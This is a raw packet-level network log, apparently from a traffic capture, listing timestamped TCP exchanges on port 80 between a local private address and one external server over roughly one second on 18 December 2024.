Dec 18, 2024 22:02:39.640583992 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.640638113 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.640734911 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.640788078 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.641798019 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.641851902 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.642016888 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.642071009 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.643093109 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.643146992 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.643227100 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.643281937 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.644284964 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.644340992 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.644427061 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.644480944 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.645565033 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.645658016 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.645684958 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.645730019 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.646754980 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.647069931 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.647133112 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.648040056 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.648112059 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.648163080 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.648216963 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.649391890 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.649445057 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.649457932 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.649589062 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.650552988 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.650612116 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.650670052 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.650755882 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.651738882 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.651916027 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.651972055 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.652983904 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.653160095 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.653161049 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.654218912 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.654267073 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.755110025 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.755127907 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.755143881 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.755158901 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.755175114 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.755194902 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.755239010 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.755608082 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.755652905 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.755778074 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.756606102 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.756867886 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.756917000 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.757031918 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.757078886 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.757102013 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.757144928 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.757150888 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.757184029 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.758269072 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.758430004 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.758476973 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.759490967 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.759675980 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.759723902 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.760858059 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.760935068 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.760977030 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.761948109 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.762113094 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.762164116 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.763221979 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.763359070 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.763407946 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.767064095 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.767080069 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.767105103 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.767121077 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.767124891 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.767137051 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.767153025 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.767163038 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.767891884 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.768191099 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.768249035 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.769330978 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.769524097 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.769587994 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.770628929 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.770678997 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.770776033 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.771857977 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.771895885 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.771910906 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.771936893 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.772483110 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.772500038 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.772547960 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.773153067 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.773358107 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.773405075 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.774444103 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.774528027 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.774588108 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.775614023 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.775667906 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.775839090 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.776679993 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.776839972 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.776885033 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.776979923 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.777026892 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.778068066 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.778234959 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.778284073 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.779321909 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.779478073 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.779526949 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.780625105 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.780670881 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.780756950 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.780942917 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.781825066 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.781898975 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.781965971 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.782011032 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.783029079 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.783077002 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.783164978 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.783211946 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.784259081 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.784305096 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.784399986 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.784446001 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.785495043 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.785646915 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.785692930 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.786736965 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.786891937 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.786937952 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.790601969 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.790622950 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.790642023 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.790744066 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.790873051 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.790873051 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.791457891 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.791490078 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.791503906 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.791655064 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.791695118 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.792908907 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.793093920 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.793148994 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.794147015 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.794295073 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.794344902 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.795167923 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.795216084 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.795340061 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.796576977 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.796624899 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.796762943 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.796946049 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.797831059 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.797992945 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.798046112 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.798913956 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.799105883 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.799159050 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.800158024 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.800209045 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.860754967 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.980304003 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.251599073 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.251801968 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.251885891 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.252217054 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.252438068 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.252489090 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.252585888 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.252628088 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.253659010 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.253799915 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.253802061 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.253844023 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.254906893 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.254972935 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.255196095 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.255243063 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.256206989 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.256253004 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.256340981 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.256612062 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.257370949 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.257510900 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.257555962 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.258625984 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.258677959 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.258759022 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.258806944 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.259840012 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.259896994 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.260014057 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.260061979 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.261137009 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.261223078 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.261291981 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.261333942 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.262319088 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.262387037 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.262470961 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.262516022 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.263590097 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.263679981 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.263744116 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.263787031 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.264854908 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.264899969 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.264990091 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.265032053 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.266061068 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.266222000 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.266263962 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.267447948 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.267499924 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.267581940 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.267765999 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.268543959 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.268588066 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.268676043 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.268774033 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.269766092 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.269906044 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.269948959 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.270982027 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.271179914 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.271224022 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.272241116 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.272289038 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.272366047 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.272748947 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.273480892 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.273535013 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.273622036 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.273662090 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.274699926 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.274736881 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.274904966 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.275197983 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.275985956 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.276129007 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.276177883 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.277199984 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.277364016 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.277409077 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.278441906 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.278497934 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.278559923 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.279686928 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.279732943 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.279845953 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.279890060 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.280896902 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.280966043 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.281050920 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.281094074 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.282131910 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.282289028 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.282332897 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.283406973 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.283538103 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.283586979 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.284707069 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.284843922 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.284899950 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.285866022 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.285984039 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.286037922 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.330013990 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.330074072 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.330168962 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.330276966 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.330600023 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.330703974 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.330749035 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.331532001 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.331588984 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.331701994 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.331753016 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.332787991 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.332837105 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.332916975 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.332967043 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.334008932 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.334089994 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.334132910 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.334306955 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.335269928 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.335315943 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.335397005 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.335438967 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.336528063 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.336575031 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.336654902 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.336716890 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.337763071 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.337810040 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.337877035 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.337928057 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.339015961 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.339059114 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.339131117 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.339175940 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.340231895 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.340281963 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.340329885 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.340373039 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.341435909 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.341626883 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.341665030 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.341689110 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.342679024 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.342830896 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.342875957 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.343921900 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.344108105 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.344160080 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.345170021 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.345247030 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.345309973 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.345351934 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.346448898 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.346498013 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.346704006 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:40.346745968 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:40.347645044 CET	80	49764	185.219.81.135	192.168.2.5
